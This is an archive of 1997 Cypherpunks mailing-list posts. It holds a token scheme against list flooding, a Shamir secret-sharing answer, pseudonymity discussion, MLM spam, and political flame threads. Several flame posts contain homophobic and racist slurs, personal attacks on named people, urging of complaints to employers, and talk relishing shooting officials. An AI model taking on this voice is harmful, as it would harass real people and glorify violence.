> In <219sZD42w165w@bwalk.dm.com>, on 12/31/96
>    at 11:59 AM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
>
> ::> Timothy C. May wrote:
> ::> >
> ::> > Your message is the equivalent of that brain-damaged ebonite's
> ::> > "Why can't we all just get along?"
> ::>
> ::> Tim,
> ::>   Have you 'coined a phrase' here?
> ::>   Perhaps future generations, reading of the exploits of the
> ::>  'Ebonites', will recognize your contribution to the language.
> ::>   Have you seen _Mars Attacks_ where Jack Nicholson, playing the
> ::>   president, says just that?
>
> ::have you noticed that a lot of recent popular movies either portray
> ::the U.S.G. as a bunch of crooks and criminals, or make fun of killing
> ::them all (e.g. Mars Attacks). This would have been unthinkable 20
> ::years ago.
>
>         20 years ago, the Vietnam protests were just dying down. the
>     movie industry which has been one of the more vocal anti-war
>     centers (except in making violent war movies which make money) was
>     still somewhat respectful of the USG.

Was the media industry really anti-war, or just anti-Nixon? When Lyndon
Johnson sent the troops to 'Nam, the media first supported him. When Nixon got
elected, against the media's wishes, the media attacked him over everything he
was doing, including the war, just like they attacked Reagan and Bush. I'm
usure if Nixon had pulled out completely in '69, the media would have been
pro-war. They're whores, like Declan McCulough.

Bombing the hell out of North Viet Nam targets was evil, but effective. But:
compare the way USD is portrayed in _Apocalypse Now & _Deer Hunter (a
monolythic machine servings some sinister purpose and killing the natives;
white people are safe; the rogue gets terminated by USG itself) with the way
it's portrayed in _Rambo and _Red Dawn (gubmint abandons the pow's*, abandons
the locals; useless, but barely evil, and it's not clear how far up the evil
goes) and with the way it's been portrayed in this year's movies: _Courage
Under Fire (a bunch of criminals trying to cover up their fuckup, all the way
to the top); _Ransom (the main villain is a NYC cop, other cops are useless;
it's not Federales, but close enough); _Eraser ("rogue" WitSec, the cops are
the enemies); _Professional (the top villain works for the DEA). Pop movies
reflect the attitudes of the audience they're made for.

Dr. Grubor is a Viet Nam vet. I have great respect for him.

*) Klinton's being paid by the Indonesians to "normalize" relation with VC,
incorporated by reference.

>         Other than the liberals who give Bubba a birthday party
>     --probably more for their own publicity (except Barbra), most
>     everybody is getting fed up with the government and beginning to
>     realize the USG not only over governs, but the public is also
>     beginning to understand the usurpation of power, and the basic
>     unconstitutionality of the regulatory agencies.
>
>         Utah is as good an example as any; they have never been
>     Fed supportive (even if it was Republican), but the church mandate
>     is to support the government --however, they are quickly swinging
>     to a large majority which not only does not like the Federal
>     government, but who are also actively stating the government is
>     illegal--  and the church is silent.
>
>         The other Intermountain states have been just plain independent
>     minded, but tolerated the Feds. Not any more.  Idaho and eastern
>     Washington are not a safe place for the Feds.  Montana makes no
>     bones about it; Wyoming, Colorado, and New Mexico are vocal. And AZ
>     is as pissed as they come over the MJ pronouncement "--what do you
>     mean the Feds are telling us our vote is worthless and our States'
>     Rights don't mean pig shit."  Nobody particularly cares about the
>     MJ, it's the pure and simple emphasis on States' Rights and the
>     Voters' Rights to self-determination and the 10th Amendment.
>
>         Analysis of California attitudes is even more revealing; the
>     statement the DEA would pull prescription permits from doctors
>     prescribing maryjane in AZ and CA has stirred a firestorm which
>     will only get larger.

Is that why the criminal Usenet Cabal is interfering with the propagation
of sci.med.cannabis and other MJ-related Usenet newsgroups?

>             The people spoke and the Feds said: "Fuck You!"
>
>         The question then is, how long before the Eastern whimps and
>     liberal tit suckers wake up and realize they too are about to lose
>     the option of being liberal tit suckers?
>
>         Of all things, MJ may be the last straw (going up in smoke
>     <g>); now, if the press will get off their sensationalism on the
>     CDA and talk about what it is we are really fighting --free speech
>     as a whole, Thomas Jefferson might wake up one day soon and say:
>     "Alright!  but it took you stupid bastards more than the 20 years
>     to have a little revolution to teach Washington who the government
>     serves!"

I have little regard for Thomas Jefferson and rest of the "founding fathers"
gang. Their revolution replaced one bunch of oppressors with another; no
wonder it was followed by Shay's (sp?) Rebellion (whose farmer leaders were
sentenced to hang for treason; later commuted); and Alien and Sedition Acts.

>         Maybe Bubba needs a little more cocaine so he gets "brave"
>     enough to call in UN troops to quell a riot...   then WE watch the
>     fun. Some of you sissies might even lift your hardware and watch
>     your first melon explode.  After the first one, it's easy.
>
>         For the first time a civilized nation has full gun
>         registration! Our streets will be safer, our police more
>         efficient, and the world will follow our lead in the
>         future.
>                     --Adolf Hitler (1935)
>
>     Is Adolf's future here again?

I had a great-grandfather named Adolf.  The Communists killed him.

>         46. The U.S. government declares a ban on the possession,
>         sale, transportation, and transfer of all non-sporting
>         firearms.  ...Consider the following statement:
>
>             I would fire upon U.S. citizens who refuse or resist
>             confiscation of firearms banned by the U.S. government.
>
>                 --The USMC Combat Arms Survey
>
>     The same survey had questions of obeying commands from UN officers,
>     and obeying commands from UN officers on US territory, and against
>     US citizens.  Anybody who wants a copy of the whole survey, send
>     me email.
>
>         This was not somebody's master thesis; on some special
>     operations bases it was given by a major, others a light bird, etc.
>     all SEALS and USMC spec-op groups were given the "test"  --the
>     younger men were >85% compliant; the reuppers and lifers were real
>     low on compliance (~15%).  Our PC and revisionist history has built
>     the generation they want: functionally illiterate "world-oriented"
>     cannon fodder.

How does one brainwash a brainless "cypher punk"?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 1 Jan 1997 13:45:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <v03007803aeee6643cfe0@[206.217.121.121]>
Message-ID: <v0300780eaef08245ba4e@[199.182.128.36]>
MIME-Version: 1.0
Content-Type: text/plain


There seems to some confusion about what I actually proposed.  (I never
seem to be able to write clearly the first time.)  Let me describe in more
detail my currently preferred token distribution system.

First some definitions:
  Majordomo - The rule based administrator for the list
  List administrator - The rule maker.  Also does the things majordomo can't.
  poster - someone who wants to post a message to the list
  list member - those who receive the list.

Token distribution works like this:  A poster desiring a token sends a
request to majordomo and includes a public key.  This request can be sent
thru a remailer chain.  Majordomo generates a token (think of it as a
secret key), encyphers it with the public key, and posts it to the list.
Note that the poster does not have to be subscribed to the list.  The token
can be recovered from the archives or from a reflector list.  (Thanks to
Tim May for the suggestion of this method of distribution.)

Now we have given poster an anonymous token.  Since tokens are good
forever, true anonymity requires a new token for each post.  Otherwise the
poster only has a pseudonym.  I consider this feature an advantage.

Since tokens are good forever, majordomo will only give out a limited
number per day.  I suggest four.  This limit will somewhat protect against
the attack Ray Arachelian pointed out of having one abusive user collect
10,000,000 tokens.


It is important to recognize the class of problems I am trying to solve.
While I would like to solve the sporadic "make money fast" spam problem, I
agree with Tim that, at today's levels, it is only an annoyance.  I also
agree that the drivel that comes from some of our more prolific posters is
best handled by filtering by the list members themselves.  (I currently
have 3 of them going directly to the trash.  Perhaps aga should get
kickbacks from Qualcomm.  He managed to sell a copy of EudoraPro.)

The problem I am really concerned with is denial of service attacks via
flooding.  With 1000 list members, each message to the list requires a lot
of resources to handle compared with the ones it requires to send.  This
fact gives an attacker a bit advantage.  Tokens are designed to enable
majordomo to recognize the source of messages and provide lower performance
reception to those who are sending a lot of messages.  This technique is
similar to the technique used by the Whitehouse mail system to limit
flooding attacks.  (And the idea came from a description of that system
posted here some months ago.)

Tokens would also give the list administrator a tool to discourage certain
posters.  If John Gillmore wanted to make it hard for Dimitri to post, he
could cancel Dimitri's token.  Dimitri could get another one (under a
different name if Majordomo's instructions prevented it from giving him
one), but John could continue the cancel the new ones.  (N.B. There is no
evidence that John actually wanted to keep Dimitri from posting.  This
example is only a hypothetical.)


Sandy suggests gateways (i.e. distributed moderators) to preserve
anonymity.  While I don't think they are needed to preserve anonymity, they
will be useful for those who can't or won't encrypt their posts.  It is
important to note here that anyone with a token can act as a gateway.


I was trying to make only small changes in the dynamics of the list.  As
such, the market based solutions are more radical than I was willing to
consider.  I would like to see a market based system in actual use, but
perhaps elsewhere.  The idea seems better fitted to Robert Hettinga's e$pam
list.


-------------------------------------------------------------------------
Bill Frantz       | Client in California, POP3 | Periwinkle -- Consulting
(408)356-8506     | in Pittsburgh, Packets in  | 16345 Englewood Ave.
frantz@netcom.com | Pakistan. - me             | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 4 Jan 1997 05:32:03 -0800 (PST)
To: KDBriggs1@aol.com
Subject: Re: Secret-Sharing Algorithm
Message-ID: <852383891.629351.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> I've been looking over Shamir's secret sharing polynomial scheme that
> Schneier describes in section 23.2 of AC2.  The basic equation for a (3,n)
> threshold scheme is (ax^2+bx+M) mod p.  I understand that the coefficients
> need to be randomly generated for each message but is it OK to reuse the same
> prime p over and over?  If the message M is always a 160-bit SHA hash, could
> I just find the first 161-bit prime and hard-code it into my application and
> then just generate new 160-bit coefficients for each new message?

Yes, as long as the message can never be more than 160 bits this 
would be fine, the co-efficients must be true random for the security 
to be perfect. Indeed using the same prime is an advantage as you 
suggest because it does not alter the security but increases the ease 
of implementing the system.


 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 4 Jan 1997 05:38:53 -0800 (PST)
To: Peter Hendrickson <ph@netcom.com>
Subject: Re: Anonymous Post Control
Message-ID: <852383891.629350.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> It would be nice if toad.com would verify signatures and insert a
> header into the messages with the PGP User Id of every poster.
> Then it would be very easy for many people to filter the messages
> using widely available off-the-shelf mail software.

Well the obvious answer seems to me to stop majordomo at toad.com 
accepting ANY messages from anonymous sources but let pseudonyms 
post, pseudonymous posting allows the owner of the nym to accumulate 
reputation capital without disclosing his or her true identity.

Bear in mind of course that this is a purely technical answer and I 
happen not to believe that anonymous posting should be stopped.


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: carrollw@cadvision.com
Date: Wed, 1 Jan 1997 14:20:49 -0800 (PST)
To: Invitation@huey.cadvision.com
Subject: Join Us "Special Conference Call"
Message-ID: <199701012132.OAA34926@huey.cadvision.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello opportunity seeker,

For most people, finding the RIGHT opportunity that provides the
FREEDOM and the right CASH flow to earn a living working from HOME is
a DREAM at best.

Team 2000 has joined a company that has all the INGREDIENTS for this
wish to be fulfilled and I extend a very CORDIAL invitation for you to
join our Team 2000 TOLL FREE conference CALL on:

                 THURSDAY Evening, January 2, 1997

You are invited to a Special Toll Free Conference Call with ...

1.  The President of Idea Concepts, Ken Hampshire
2.  The Co-founder of Idea Concepts, Steve Miles
3.  Other key leaders of Idea Concepts
4.  The Team 2000 Leaders
5.  Most importantly:  YOU 


Hear about the products, compensation plan and exciting late breaking
news on this call!

Please, write this number down now and put it on your calendar for
Thursday night,  January 2, 1997.

At the appropriate time for you,(in your time zone) call
1-800-556-3844

9:30 pm Eastern Standard Time
8:30 pm Central Standard Time
7:30 pm Mountain Standard Time
6:30 pm Pacific Standard Time

You may call in 2-3 minutes before the actual time.  If you call in
too soon you will get a busy signal, so just keep dialing back in.

Your questions will be answered Thursday night on the TOLL-FREE
Conference Call.

In the meantime you may wish to review information on our website and
follow the links: 

http://www.ideaconcepts.com

Best Regards for a Healthy, Happy and Prosperous New Year!

Wayne J Carroll
Team 2000 - Leader




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sls123@prodigy.net
Date: Wed, 1 Jan 1997 12:55:03 -0800 (PST)
Subject: Let you know
Message-ID: <199701012040.PAA24498@mail1y-int.prodigy.net>
MIME-Version: 1.0
Content-Type: text/plain


Please forgive me for this e-mail, but I felt I just had to let more
people know about this and get in on the ground floor!

The program I am involved in incorporates "Spillover".  Spillover is
probably one of the best ideas ever developed for network marketing.
Here's why:  Anyone I sponsor after you, will probably be placed under
you.  You then earn commissions on these new people as if you had
signed them up!  Why?  The way the program works I am trying to fill
my downline and I can only have so many people on each level.  After a
given level is full, anyone else I sponsor "spills over" to the next
level.  This is where they start getting placed under you.  So you
see, it doesn't matter if you sign them up or I do, in the end the
result is the same.

                 *******************************
                 *     Djgroup/Streamline      *
                 *  will place 2 people under  *
                 *    you automatically!!!     *
                 *******************************

I just signed up Monday and I already have 2 members in my downline,
just from SPILLOVER!  I didn't do anything!

The program just started, in fact it has less than 550 members.  This
IS the ground floor!  The company is advertising in several major
print publications next month!  I have been in several MLM's and I can
finally say; "This is the one I've been looking for!"  If you know
what it's like to lose sleep because your so exited, email me NOW!

Don't miss this opportunity, email me for more details. I will give
you my URL (webpage) for more information.

Thanks
Sonya






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Wed, 1 Jan 1997 14:18:47 -0800 (PST)
To: snow <snow@smoke.suba.com>
Subject: Re: Internal Passports
In-Reply-To: <v03007802aeef121590c5@[207.167.93.63]>
Message-ID: <199701012217.QAB22537@bluestem.prairienet.org>
MIME-Version: 1.0
Content-Type: text/plain


On 31 Dec 96, snow rambled thusly about Re: Internal Passports...

>      In Illinois, you merely have to request they not put it on the
>      card,

I don't remember having that option, but I was barely sixteen at the 
time.

> supposedly in Missouri you don't have to have in put on the card if
> you have a "religious objection", but I'd bet if you bitch loud
> enough at the DMV office, you can get out of it. 

Not even that bad.  When I went in there (just a few months ago) the
clerk asked nicely if I wouldn't mind having my SSN used as my ID/
Drivers Licence number.  (I wisely chose to say, "why yes, I would
mind." and was assigned a pseudorandom number.)

dave




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 1 Jan 1997 13:59:52 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: "Cypher punks" display arrogance and stupidity in the new year
In-Reply-To: <Pg3uZD66w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970101164023.29564E-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 1 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> jamie@comet.net (jamie dyer) writes:
> 
> >  Perhaps an X-header that changes weekly, monthly, whatever.
> > Is there a way to configure the list software to reject a message
> > that doesn't have the X-header? This won't stop all spam, but it'd
> > put a damper on a bunch of it. A lot of spammers don't even know
> > what an X-header is (though a lot do), much less how to put one
> > in a message.
> 
> Dr. Grubor has suggested that homosexuals be required to identify themselves
> in their e-mail headers.  Certainly, cocksucker John Gilmore is free to set
> up his private mailing list so that only submissions with "X-Homosexual: YES"
> or "X-Sexual-Preferences: GAY" get distributed. Problem is, if we get the
> repeat of the recent mail loop attack, when the ASALA/Earthweb terrorist Ray
> "Arsenic" Arachelian was re-submiting to the mailing list the articles
> that were already distributed with most of the headers intact, the "X-Gay: YES"
> header would also be intact on Arachelian's spam. Ray is truly despicable.
> You can complain about Ray's forgery, spam, libel, and other net-abuse to
> his bosses at Earthweb, LLC: Jack Hidary <jack@earthweb.com>, Murray Hidary
> <murray@earthweb.com>, and Nova Spivack <nova@earthweb.com>.
> 

Is John Gilmore an admitted Gay, or does he try and cover it up?

> I'm also amused by Jamie's suggestion that most people don't know what
> an X-header is. It reminds me how I made a typo in the word 'group' and
> some asshole "cypher punk" went into a long rant about how he knows how
> to use the grep utility under Unix, and I allegedly don't even know what
> grep is. First, the punks should consider themselves lucky that the owners
> of the equipment they play with pay them salaries for messing around with
> software so user-unfriendly that some arrogant punk needs to be paid to
> administer it (and the punk is sometimes a convicted felon, like Randall
> Schwartz). Second, I happen to know what grep is (I teach Unix courses
> occasionally), and I don't consider this a sign of great intelligence.
> 
> By the way, 'grep' stands for 'g[globa]/r[egular ]e[xpression]/p[rint].
> 

Ah yes Professor, but then there is Egrep with the pipe
and Fgrep without the pipe.  How about explaining the difference
between the use of those buggers?

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: snow <snow@smoke.suba.com>
Date: Wed, 1 Jan 1997 15:02:25 -0800 (PST)
To: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Subject: Re: Fed's blew it this time.
In-Reply-To: <056uZD74w165w@bwalk.dm.com>
Message-ID: <199701012317.RAA02230@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain


The Flamemeister said:
> "Attila T. Hun" <attila@primenet.com> writes:
>>         20 years ago, the Vietnam protests were just dying down. the
>>     movie industry which has been one of the more vocal anti-war
>>     centers (except in making violent war movies which make money) was
>>     still somewhat respectful of the USG.
>Was the media industry really anti-war, or just anti-Nixon? When Lyndon
>Johnson sent the troops to 'Nam, the media first supported him. When Nixon got
>elected, against the media's wishes, the media attacked him over everything he
>was doing, including the war, just like they attacked Reagan and Bush. I'm
>usure if Nixon had pulled out completely in '69, the media would have been
>pro-war. They're whores, like Declan McCulough.

     The movie industry is not the same thing as the media. Observe the 
following:
          -------------------------------------------------
         |                                                 |
         | Media               ______________              |
         |                    |movie         |             |
         |                    |     industry |             |
         |                    |______________|             |
         |_________________________________________________|
 


> Dr. Grubor is a Viet Nam vet. I have great respect for him.

     What did he do there? Media Relations? That would explain a lot of things.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Wed, 1 Jan 1997 14:24:11 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Fed's blew it this time.
In-Reply-To: <056uZD74w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970101170850.29564G-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 1 Jan 1997, Dr.Dimitri Vulis KOTM wrote:

> "Attila T. Hun" <attila@primenet.com> writes:
> 
> > -----BEGIN PGP SIGNED MESSAGE-----
> >
> > In <219sZD42w165w@bwalk.dm.com>, on 12/31/96
> >    at 11:59 AM, dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> >
> > ::> Timothy C. May wrote:
> > ::> >
> > ::> > Your message is the equivalent of that brain-damaged ebonite's
> > ::> > "Why can't we all just get along?"
> > ::>
> > ::> Tim,
> > ::>   Have you 'coined a phrase' here?
> > ::>   Perhaps future generations, reading of the exploits of the
> > ::>  'Ebonites', will recognize your contribution to the language.
> > ::>   Have you seen _Mars Attacks_ where Jack Nicholson, playing the
> > ::>   president, says just that?
> >
> > ::have you noticed that a lot of recent popular movies either portray
> > ::the U.S.G. as a bunch of crooks and criminals, or make fun of killing
> > ::them all (e.g. Mars Attacks). This would have been unthinkable 20
> > ::years ago.
> >
> >         20 years ago, the Vietnam protests were just dying down. the
> >     movie industry which has been one of the more vocal anti-war
> >     centers (except in making violent war movies which make money) was
> >     still somewhat respectful of the USG.
> 
> Was the media industry really anti-war, or just anti-Nixon? When Lyndon
> Johnson sent the troops to 'Nam, the media first supported him. When Nixon got
> elected, against the media's wishes, the media attacked him over everything he
> was doing, including the war, just like they attacked Reagan and Bush. I'm
> usure if Nixon had pulled out completely in '69, the media would have been
> pro-war. They're whores, like Declan McCulough.
> 
> Bombing the hell out of North Viet Nam targets was evil, but effective. But:
> compare the way USD is portrayed in _Apocalypse Now & _Deer Hunter (a
> monolythic machine servings some sinister purpose and killing the natives;
> white people are safe; the rogue gets terminated by USG itself) with the way
> it's portrayed in _Rambo and _Red Dawn (gubmint abandons the pow's*, abandons
> the locals; useless, but barely evil, and it's not clear how far up the evil
> goes) and with the way it's been portrayed in this year's movies: _Courage
> Under Fire (a bunch of criminals trying to cover up their fuckup, all the way
> to the top); _Ransom (the main villain is a NYC cop, other cops are useless;
> it's not Federales, but close enough); _Eraser ("rogue" WitSec, the cops are
> the enemies); _Professional (the top villain works for the DEA). Pop movies
> reflect the attitudes of the audience they're made for.

And none of those movies were anywhere near the real thing.

> 
> Dr. Grubor is a Viet Nam vet. I have great respect for him.
> 
> *) Klinton's being paid by the Indonesians to "normalize" relation with VC,
> incorporated by reference.
> 
> >         Other than the liberals who give Bubba a birthday party
> >     --probably more for their own publicity (except Barbra), most
> >     everybody is getting fed up with the government and beginning to
> >     realize the USG not only over governs, but the public is also
> >     beginning to understand the usurpation of power, and the basic
> >     unconstitutionality of the regulatory agencies.
> >
> >         Utah is as good an example as any; they have never been
> >     Fed supportive (even if it was Republican), but the church mandate
> >     is to support the government --however, they are quickly swinging
> >     to a large majority which not only does not like the Federal
> >     government, but who are also actively stating the government is
> >     illegal--  and the church is silent.
> >
> >         The other Intermountain states have been just plain independent
> >     minded, but tolerated the Feds. Not any more.  Idaho and eastern
> >     Washington are not a safe place for the Feds.  Montana makes no
> >     bones about it; Wyoming, Colorado, and New Mexico are vocal. And AZ
> >     is as pissed as they come over the MJ pronouncement "--what do you
> >     mean the Feds are telling us our vote is worthless and our States'
> >     Rights don't mean pig shit."  Nobody particularly cares about the
> >     MJ, it's the pure and simple emphasis on States' Rights and the
> >     Voters' Rights to self-determination and the 10th Amendment.
> >

That is correct, and the Feds are going to get their asses kicked in
Court when they try to prosecute any Medical Doctors. The States have
the right to grant medical licenses, and the Feds have nothing they
should be involved with at all.

> >         Analysis of California attitudes is even more revealing; the
> >     statement the DEA would pull prescription permits from doctors
> >     prescribing maryjane in AZ and CA has stirred a firestorm which
> >     will only get larger.
> 
> Is that why the criminal Usenet Cabal is interfering with the propagation
> of sci.med.cannabis and other MJ-related Usenet newsgroups?
> 

Yes, that is probably so.

And now the cabal is trying to interfere with the new
misc.legal.criminal newsgroup for medical cannabis
discussions.  There is a big class action lawsuit now
being prepared by that Philadelphia Lawyer right now.

> >             The people spoke and the Feds said: "Fuck You!"
> >
> >         The question then is, how long before the Eastern whimps and
> >     liberal tit suckers wake up and realize they too are about to lose
> >     the option of being liberal tit suckers?
> >

We must realize that things like gun laws and drug laws and medical
licensing, etc. are PURELY under the Jurisdiction of the States, and
that the Feds must keep their fucking noses out of State business.

> >         Of all things, MJ may be the last straw (going up in smoke
> >     <g>); now, if the press will get off their sensationalism on the
> >     CDA and talk about what it is we are really fighting --free speech
> >     as a whole, Thomas Jefferson might wake up one day soon and say:
> >     "Alright!  but it took you stupid bastards more than the 20 years
> >     to have a little revolution to teach Washington who the government
> >     serves!"
> 
> I have little regard for Thomas Jefferson and rest of the "founding fathers"
> gang. Their revolution replaced one bunch of oppressors with another; no
> wonder it was followed by Shay's (sp?) Rebellion (whose farmer leaders were
> sentenced to hang for treason; later commuted); and Alien and Sedition Acts.
> 
> >         Maybe Bubba needs a little more cocaine so he gets "brave"
> >     enough to call in UN troops to quell a riot...   then WE watch the
> >     fun. Some of you sissies might even lift your hardware and watch
> >     your first melon explode.  After the first one, it's easy.
> >
> >         For the first time a civilized nation has full gun
> >         registration! Our streets will be safer, our police more
> >         efficient, and the world will follow our lead in the
> >         future.
> >                     --Adolf Hitler (1935)
> >
> >     Is Adolf's future here again?
> 
> I had a great-grandfather named Adolf.  The Communists killed him.
> 
> >         46. The U.S. government declares a ban on the possession,
> >         sale, transportation, and transfer of all non-sporting
> >         firearms.  ...Consider the following statement:
> >
> >             I would fire upon U.S. citizens who refuse or resist
> >             confiscation of firearms banned by the U.S. government.
> >
> >                 --The USMC Combat Arms Survey
> >

And this guy would end up dead.  The VFW and the American Legion
have more firearms than he does, and the only way you will take my
guns away is to kill all of us first.

> >     The same survey had questions of obeying commands from UN officers,
> >     and obeying commands from UN officers on US territory, and against
> >     US citizens.  Anybody who wants a copy of the whole survey, send
> >     me email.
> >
> >         This was not somebody's master thesis; on some special
> >     operations bases it was given by a major, others a light bird, etc.
> >     all SEALS and USMC spec-op groups were given the "test"  --the
> >     younger men were >85% compliant; the reuppers and lifers were real
> >     low on compliance (~15%).  Our PC and revisionist history has built
> >     the generation they want: functionally illiterate "world-oriented"
> >     cannon fodder.
> 
> How does one brainwash a brainless "cypher punk"?
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (Anonymous)
Date: Wed, 1 Jan 1997 14:25:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anonymous Post Control
In-Reply-To: <v02140b0caeef4ce75c72@[192.0.2.1]>
Message-ID: <199701012225.RAA17460@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


ph@netcom.com (Peter Hendrickson) writes:

> It's hard to filter anonymous posters.  I want to see what a few
> of them have to say so I can't filter on the remailers.
> 
> If anonymous posters PGP sign their posts, it is still hard to filter
> using a lame filter software such as that which comes to Eudora.

Anonymous users willing to PGP sign their posts could just use a
service like nym.alias.net (mailto:help@nym.alias.net), which even
allows pseudonyms to advertise their PGP keys via finger (slightly
better than the PGP key servers).

When people post anonymously rather than pseudonymously, it is
generally because they don't want a blatant link between all of their
posts (though obviously analysis of writing style is still possible).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 1 Jan 1997 15:30:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fed's blew it this time.
In-Reply-To: <199701012317.RAA02230@smoke.suba.com>
Message-ID: <skkVZD79w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


snow <snow@smoke.suba.com> writes:

> > "Attila T. Hun" <attila@primenet.com> writes:
> >>         20 years ago, the Vietnam protests were just dying down. the
> >>     movie industry which has been one of the more vocal anti-war
> >>     centers (except in making violent war movies which make money) was
> >>     still somewhat respectful of the USG.
> >Was the media industry really anti-war, or just anti-Nixon? When Lyndon
> >Johnson sent the troops to 'Nam, the media first supported him. When Nixon g
> >elected, against the media's wishes, the media attacked him over everything
> >was doing, including the war, just like they attacked Reagan and Bush. I'm
> >usure if Nixon had pulled out completely in '69, the media would have been
> >pro-war. They're whores, like Declan McCulough.
>
>      The movie industry is not the same thing as the media. Observe the
> following:
>           -------------------------------------------------
>          |                                                 |
>          | Media               ______________              |
>          |                    |movie         |             |
>          |                    |     industry |             |
>          |                    |______________|             |
>          |_________________________________________________|

Nice ASCII art, Pedro.

Are you the one contributing the 2 ASCII pictures of Timmy Mayonaise / day?

Here's a Simpsons picture for you:

       |\/\/\/|
       |      |
       |      |
       | (o)(o)
       C      _)
        | ,___|
        |___/
       /    \
      /      \     .  .  .
     |  |     |  ._|\/ \/ \--.
     |  |     |   \         /
     |__|-----|    (o)(o)  <_.
     UUUU     |____C        /
        \      ____)--(     \
         |   ()()   \____/---'
         |    |    /^^^^^^\
         |    |   /     \  \


Here's another:


                                          (#####)
                                       (#########)
                                      (##########)
                                     (##########)
                                    (##########)
              __&__                (##########)
             /     \              (##########)
            |       |            (##########)
            |       |            (#########)
            |  (o)(o)             (o)(o)(##)
            C   .---_)             C    (##)
             |  |.===|            /__,  (##)
             |   \__/             \    (#)
            /__     \              |   |
           /   \     \             ooooo
           |    |     \           _/   \_
           |    |     \         /'       `\
           (    \       \      /  /  /     \
            \    \       \   /  /`\_`\_ )\  >
            / \   \       )/  /   (     |/ /
           /    \   \     | /     |  .  ,,/
          (       \\\\`  / /      /     \
           \           /""       (  `#'  )
            \         |*         |   |   |
             (       /\ \        `   |   '
             |      |  \ \       |   |   |
             )      )   (,)       (  |  )
             |     /              |  |  |
             (    |__              | | |
              (  |___;             | | |
             (__--___;            /'/'/'
                                  "'""

Stop jerking off and look at your own picture. Try to concentrate when you read
the next paragraph.  I know it's hard for a "cypher punk" to think abstractly,
but if you try real hard, and think about it for a long time, you might get it.

THE MOVIE INDUSTRY, THE ADVERTIZING INDUSTRY, THE NEWSPAPER PUBLISHING
INDUSTRY, THE MUSIC INDUSTRY, THE MAGAZINE PUBLISHING INDUSTRY, THE BROADCAST
RADIO INDUSTRY, THE CABLE TV INDUSTRY, ETC, ARE ALL PARTS OF THE (ALWAYS HIGHLY
CONCENTRATED) MEDIA INDUSTRY. IF THE RICH MOTHERFUCKERS WHO OWN THE BIG MEDIA
COMPANIES HAPPEN TO BE PRO-MCGOVERN AND ANTI-WAR, THEN THE WHOLE MEDIA INDUSTRY
BECOMES PRO-MCGOVERN AND ANTI-WAR, AND THE PARTS OF THE WHOLE (LIKE THE MOVIE
INDUSTRY IN YOUR PICTURE ABOVE) TOO BECOME PRO-MCGOVERN AND ANTI-WAR.

Hmm...  Is it too much to expect a "cypher punk" to understand that a part of
the whole sometimes inherits some of the properties of the whole?  Probably.

> > Dr. Grubor is a Viet Nam vet. I have great respect for him.
>
> What did he do there? Media Relations? That would explain a lot of things

Dr. Grubor invented the whole Internet while in Viet Nam.
You better show some gratitude, punk.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Kerrie Mercel" <new@valley-internet.com>
Date: Wed, 1 Jan 1997 01:14:33 -0800 (PST)
To: "Submit to over 500 urls" <new@valley-internet.com>
Subject: "Submit to over 500 urls" <new@valley-internet.com>
Message-ID: <199701010810.AAA25028@web1.valley-internet.com>
MIME-Version: 1.0
Content-Type: text/plain


Hi

Do  you know  about  the fully automatic submission 
